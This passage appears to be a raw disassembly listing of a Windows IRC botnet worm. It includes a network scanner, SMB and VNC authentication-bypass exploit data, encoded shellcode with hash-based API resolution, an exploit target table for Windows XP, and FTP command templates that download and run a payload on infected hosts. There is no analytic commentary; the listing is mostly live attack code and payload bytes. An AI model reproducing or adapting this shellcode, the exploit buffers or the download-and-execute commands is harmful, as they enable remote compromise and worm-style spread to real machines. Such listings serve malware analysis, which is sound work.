<%d>.',0 align 4 unk_431A84 db 2Dh ; - ; DATA XREF: sub_40C124+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_431AAC db 2Dh ; - ; DATA XREF: sub_40C124+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431AE4 db 2Dh ; - ; DATA XREF: sub_40C124+3E6o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_431B24 db 2Dh ; - ; DATA XREF: sub_40C124+38Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_431B5C db 2Dh ; - ; DATA XREF: sub_40C124+31Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431B90 db 2Dh ; - ; DATA XREF: sub_40C124+29Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_431BC4 dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C59B+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 10h db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db '░B░B░B░B',0 ; DATA XREF: sub_40CADA+B2o align 4 dword_431C78 dd 10FF8h, 0 ; DATA XREF: sub_40CADA+6Ao dword_431C80 dd 10FF8h ; DATA XREF: sub_40CADA+79o dword_431C84 dd 7FFDF020h, 0 ; DATA XREF: sub_40CADA+162o dword_431C8C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF04+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_431D14 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF04+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_431D44 dd 0 ; DATA XREF: sub_40CF04+44o dd 800000D4h, 0 unk_431D50 db 81h ; │ ; DATA XREF: sub_40CFDE+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_431D9C db 41h ; DATA XREF: sub_40D07C+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_431DE0 proc near ; DATA XREF: ___:0040D35Bo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_431EDC push dword ptr [esi] push 63D61209h call sub_431EF2 mov [esi+8], eax call sub_431EA5 push dword ptr [esi+4] push 0CA2BD06Bh call sub_431EF2 mov [esi+0Ch], eax call sub_431E57 push dword ptr [esi+4] push 4C0297FAh call sub_431EF2 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_431DE0 endp ; =============== S U B R O U T I N E ======================================= sub_431E57 proc near ; CODE XREF: sub_431DE0+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_431E80 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_431E57 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E80 proc near ; CODE XREF: sub_431E57+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_431E8F: ; CODE XREF: sub_431E80+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_431E9C inc ebx jmp short loc_431E8F ; --------------------------------------------------------------------------- loc_431E9C: ; CODE XREF: sub_431E80+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_431E80 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431EA5 proc near ; CODE XREF: sub_431DE0+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_431EBD: ; CODE XREF: sub_431EA5+1Ej cmp [ecx], ebx jz short loc_431EC5 mov ecx, [ecx] jmp short loc_431EBD ; --------------------------------------------------------------------------- loc_431EC5: ; CODE XREF: sub_431EA5+1Aj mov edx, edi loc_431EC7: ; CODE XREF: sub_431EA5+2Aj cmp [edx+4], ebx jz short loc_431ED1 mov edx, [edx+4] jmp short loc_431EC7 ; --------------------------------------------------------------------------- loc_431ED1: ; CODE XREF: sub_431EA5+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_431EA5 endp ; =============== S U B R O U T I N E ======================================= sub_431EDC proc near ; CODE XREF: sub_431DE0+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_431EDC endp ; =============== S U B R O U T I N E ======================================= sub_431EF2 proc near ; CODE XREF: sub_431DE0+16p ; sub_431DE0+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_431F08: ; CODE XREF: sub_431EF2+33j jecxz short loc_431F42 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_431F15: ; CODE XREF: sub_431EF2+2Dj lodsb cmp al, ah jz short loc_431F21 ror edi, 0Dh add edi, eax jmp short loc_431F15 ; --------------------------------------------------------------------------- loc_431F21: ; CODE XREF: sub_431EF2+26j cmp edi, [esp+20h+arg_0] jnz short loc_431F08 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_431F42: ; CODE XREF: sub_431EF2:loc_431F08j ; sub_431EF2:loc_431F42j jmp short loc_431F42 sub_431EF2 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_431F48 proc near ; DATA XREF: ___:0040D309o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_431F9A mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_431F65: ; CODE XREF: sub_431F48+38j jecxz short loc_431F95 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_431F70: ; CODE XREF: sub_431F48+32j lodsb test al, al jz short loc_431F7C ror edx, 0Dh add edx, eax jmp short loc_431F70 ; --------------------------------------------------------------------------- loc_431F7C: ; CODE XREF: sub_431F48+2Bj cmp edx, [esp+arg_0] jnz short loc_431F65 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_431F95: ; CODE XREF: sub_431F48:loc_431F65j mov [esp+arg_0], ebx retn sub_431F48 endp ; =============== S U B R O U T I N E ======================================= sub_431F9A proc near ; CODE XREF: sub_431F48+7p ; FUNCTION CHUNK AT 00431FD2 SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_431FB3 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_431FBE ; --------------------------------------------------------------------------- loc_431FB3: ; CODE XREF: sub_431F9A+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_431FBE: ; CODE XREF: sub_431F9A+14j pop edi xor esi, esi pusha push esi jmp short loc_431FD2 sub_431F9A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431FC5 proc near ; CODE XREF: sub_431F9A:loc_431FD2p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_431FC5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F9A loc_431FD2: ; CODE XREF: sub_431F9A+29j call sub_431FC5 loc_431FD7: ; DATA XREF: sub_40CADA+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_431F9A ; --------------------------------------------------------------------------- dw 0 dword_431FDC dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o dword_431FE8 dd 30h ; DATA XREF: sub_40CADA+2CAo dword_431FEC dd 0A1h ; DATA XREF: sub_40CADA+29Fo dword_431FF0 dd 3 ; DATA XREF: sub_40CADA+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CADA+153o align 4 loc_431FFC: ; DATA XREF: sub_40CADA+E8o jmp short near ptr dword_432004 ; --------------------------------------------------------------------------- db 6 dup(90h) dword_432004 dd 0 ; CODE XREF: ___:loc_431FFCj aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D330o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 10h dword_432070 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo ; --------------------------------------------------------------------------- loc_43207C: ; CODE XREF: ___:00432086j xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_43207C inc edi jz short loc_4320C3 and eax, 952CE753h inc esp jle short loc_4320EB push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_4320C3: ; CODE XREF: ___:00432089j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_432122+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_4320E8: ; CODE XREF: ___:00432115j xor [esi-25h], bl loc_4320EB: ; CODE XREF: ___:00432091j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_432104: ; CODE XREF: ___:00432137j rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_4320E8 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_432122: ; CODE XREF: ___:004320C9j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_4321AE jo short loc_432104 fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_432145+1 add bl, [edi] loc_432145: ; CODE XREF: ___:00432141j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_43215A+2 cmp ch, bh dec edx loc_43215A: ; CODE XREF: ___:00432155j xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_4321AE: ; CODE XREF: ___:00432135j mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_432234 sub al, 0BCh jmp near ptr 544525A2h ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_4321D0 dd 0EFFFC481h, 44FFFFh, 43221Ch ; DATA XREF: ___:0040DC32o dword_4321DC dd 42Ah ; DATA XREF: ___:0040DBE5r dword_4321E0 dd 3E8h ; DATA XREF: ___:0040DC56r dword_4321E4 dd 258h ; DATA XREF: ___:0040DC28r byte_4321E8 db 1 ; DATA XREF: ___:0040DB91r ; ___:0040DC5Fr align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_432200 dd 20804h ; DATA XREF: sub_40D89Fr ___:0040DC7Do ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321ECo align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_432234: ; CODE XREF: ___:004321B8j push eax xor al, 29h loc_432237: ; DATA XREF: ___:0040DBB9o add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 10h dword_432240 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040DAE9o dword_432254 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040DA8Do aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co align 4 aSIpc db '\\%s\ipc$',0 align 4 aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40DFE2+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_4322FC dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 10h aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co align 10h aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o align 10h word_433540 dw 1 ; DATA XREF: ___:0040E210r align 4 dword_433544 dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_419C64+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 aFtpTransferCom db 'ftp transfer complete to: %s',0 align 4 a226TransferCom db '226 Transfer complete.',0Ah,0 aFtpTransferSta db 'ftp transfer started to: %s',0 a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 align 4 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 4 aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 4 a226TransferC_0 db '226 Transfer complete',0Ah,0 align 10h aList_0 db 'LIST',0 align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:00437CA8o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:00437CB4o unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_3 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_43382C db 2Dh ; - ; DATA XREF: sub_40F0D5+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_433854 db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D5+2CFo ; sub_41A4D1+F5o align 4 aGet_0 db 'GET ',0 ; DATA XREF: sub_40F0D5+269o align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F530+98o ; sub_41AA42+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_40F530+5Fo align 4 unk_433A74 db 2Dh ; - ; DATA XREF: sub_40F6B3+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_37 db ' failed to start worker thread, error %d',0 align 4 unk_433AAC db 2Dh ; - ; DATA XREF: sub_40F6B3+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 10h asc_433AE0: ; DATA XREF: sub_40F6B3+15Ao unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_40F6B3+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+652o align 10h aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_40F96A+61Co align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_40F96A+36Co align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+328o ; sub_40F96A+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o align 10h aS db '<%s>',0 ; DATA XREF: sub_40F96A+2E9o ; sub_40F96A+40Bo align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo aAm db 'AM',0 ; DATA XREF: sub_40F96A+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_40F96A+28Ao align 10h a__ db '..',0 ; DATA XREF: sub_40F96A+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+F9o db '<TD 